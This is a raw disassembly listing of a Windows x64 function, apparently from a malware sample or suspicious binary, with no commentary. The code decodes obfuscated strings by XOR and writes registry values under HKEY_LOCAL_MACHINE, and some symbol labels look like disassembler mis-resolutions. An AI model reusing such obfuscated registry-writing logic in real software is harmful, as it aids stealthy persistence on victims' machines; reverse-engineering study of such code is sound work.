sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400c2d90
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp - 0x70]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c2deb
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp + 0x20]
call fcn.14003d760
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x14c4], 0xffffffff
mov dword [rbp + 0x144], eax
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, r14d
mov dword [rbp + r14*4 + 0x144], eax
inc r14
cmp r14, 0x270
jb 0x1400c2e20
mov dword [rbp + 0x140], 0x270
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x40]
call fcn.140148254
lea rax, [0x14016e290]
mov qword [rbp + 0x40], rax
lea rax, [0x14016e0f0]
mov qword [rbp + 0x50], rax
lea rcx, [rbp + 0xd8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp - 0x70], 2
xor r8d, r8d
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x40], r14
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x58]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x58], rax
mov qword [rbp + 0xc0], rbx
mov dword [rbp + 0xc8], ebx
lea rdx, [0x140059590]
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
lea rdx, [0x1400b0330]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov byte [rdx + rax + 0x58], gethostbyname
mov edi, 8
nop word [rax + rax]
lea rcx, [rbp + 0x140]
call fcn.14008a7b0
mov edx, eax
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
sub rdi, 1
jne 0x1400c2f20
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x50]
call fcn.1400894f0
mov edi, 4
lea rcx, [rbp + 0x140]
call fcn.14008a7b0
mov edx, eax
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
sub rdi, 1
jne 0x1400c2f53
lea rdx, [0x140171bb0]
lea rcx, [rbp + 0x50]
call fcn.1400894f0
mov edi, 3
mov esi, edi
nop dword [rax + rax]
lea rcx, [rbp + 0x140]
call fcn.14008a7b0
mov edx, eax
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
sub rsi, 1
jne 0x1400c2f90
lea rdx, [0x140171bb8]
lea rcx, [rbp + 0x50]
call fcn.1400894f0
nop
lea rcx, [rbp + 0x140]
call fcn.14008a7b0
mov edx, eax
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
sub rdi, 1
jne 0x1400c2fc0
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x50]
call fcn.1400894f0
mov edi, reloc.WS2_32.dll_inet_ntoa
lea rcx, [rbp + 0x140]
call fcn.14008a7b0
mov edx, eax
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
sub rdi, 1
jne 0x1400c2ff3
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x58]
call fcn.14005fca0
movups xmm0, xmmword [str.xp_wctdrd]
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x140173978]
movsd qword [rsp + 0x50], xmm0
movzx eax, byte [0x140173980]
mov byte [rsp + 0x58], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c3185
movdqa xmm5, xmmword [0x140176070]
movdqa xmm4, xmmword [0x140176320]
movdqa xmm6, xmmword [0x1401760c0]
movdqa xmm0, xmmword [0x1401761e0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400c3080
cmp r8d, 0x19
jge 0x1400c31c0
movsxd rax, r8d
lea r10, [rsp + 0x40]
add r10, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r10], al
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0x19
jl 0x1400c3190
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r10d, dword [rbp - 0x20]
inc r10d
lea r9, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova r9, qword [rbp - 0x30]
movsd xmm0, qword [0x140172f50]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x140172f58]
mov dword [rbp - 0x68], eax
cmp byte [0x140172f5b], 0
je 0x1400c335c
cmp r13d, 2
jl 0x1400c3324
movdqa xmm4, xmmword [0x140176320]
movdqa xmm2, xmmword [0x140176070]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401760c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
mov eax, dword [0x1401761e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140172f50]
xorps xmm2, xmm0
movd dword [rbp - 0x70], xmm2
movdqa xmm3, xmmword [0x140176090]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401760c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401761c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x6c]
xorps xmm2, xmm1
movd dword [rbp - 0x6c], xmm2
mov ebx, 8
movsxd rax, ebx
lea r8, [rbp - 0x70]
add r8, rax
nop
mov eax, 0x4d4873ed
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, bl
sub al, cl
add al, 0x30
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xc
jl 0x1400c3330
mov dword [rsp + 0x28], r10d
mov qword [rsp + 0x20], r9
mov r9d, ntohl
xor r8d, r8d
lea rdx, [rbp - 0x70]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp - 0x30]
call fcn.14003d760
nop
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x40], r14
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x58]
call fcn.14005f570
lea rcx, [rbp + 0x60]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xd8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [rbp + 0x14d0]
xor rcx, rsp
call fcn.140146930
lea r11, [rsp + 0x1600]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret